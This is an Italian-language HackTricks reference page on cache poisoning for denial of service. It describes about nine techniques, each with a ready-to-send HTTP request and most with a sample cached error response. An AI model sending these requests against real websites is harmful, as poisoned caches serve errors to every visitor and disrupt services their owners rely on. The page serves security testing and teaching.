Cache Poisoning to DoS

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

In questa pagina puoi trovare diverse variazioni da provare per far sì che il server web risponda con errori alle richieste che sono valide per i server cache

  • Dimensione Eccessiva dell'Intestazione HTTP (HHO)

Invia una richiesta con una dimensione dell'intestazione maggiore di quella supportata dal server web ma minore di quella supportata dal server cache. Il server web risponderà con una risposta 400 che potrebbe essere memorizzata nella cache:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • Carattere Meta HTTP (HMC) e valori inaspettati

Invia un'intestazione che contenga alcuni caratteri meta dannosi come e . Perché l'attacco funzioni, devi prima aggirare la cache.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

Un'intestazione configurata male potrebbe essere semplicemente \: come intestazione.

Questo potrebbe funzionare anche se vengono inviati valori inaspettati, come un Content-Type inaspettato:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Intestazione non chiave

Alcuni siti web restituiranno un codice di stato di errore se vedono alcune intestazioni specifiche nella richiesta come con l'intestazione X-Amz-Website-Location-Redirect: someThing:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • Attacco di Override del Metodo HTTP (HMO)

Se il server supporta la modifica del metodo HTTP con intestazioni come X-HTTP-Method-Override, X-HTTP-Method o X-Method-Override. È possibile richiedere una pagina valida modificando il metodo in modo che il server non lo supporti e restituisca una risposta errata che viene memorizzata nella cache:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Porta non chiave

Se la porta nell'intestazione Host viene riflessa nella risposta e non è inclusa nella chiave della cache, è possibile ridirigerla verso una porta non utilizzata:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Long Redirect DoS

Come nell'esempio seguente, x non viene memorizzato nella cache, quindi un attaccante potrebbe abusare del comportamento di risposta del reindirizzamento per far sì che il reindirizzamento invii un URL così grande da restituire un errore. Quindi, le persone che cercano di accedere all'URL senza la chiave x non memorizzata nella cache riceveranno la risposta di errore:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Normalizzazione del caso dell'intestazione host

L'intestazione host dovrebbe essere case-insensitive, ma alcuni siti web si aspettano che sia in minuscolo restituendo un errore se non lo è:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Normalizzazione del percorso

Alcune pagine restituiranno codici di errore inviando dati URLencode nel percorso, tuttavia, il server cache decodificherà l'URL del percorso e memorizzerà la risposta per il percorso decodificato:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

Alcuni server di cache, come Cloudflare, o server web, bloccano le richieste GET con un corpo, quindi questo potrebbe essere abusato per memorizzare una risposta non valida:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Riferimenti

Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated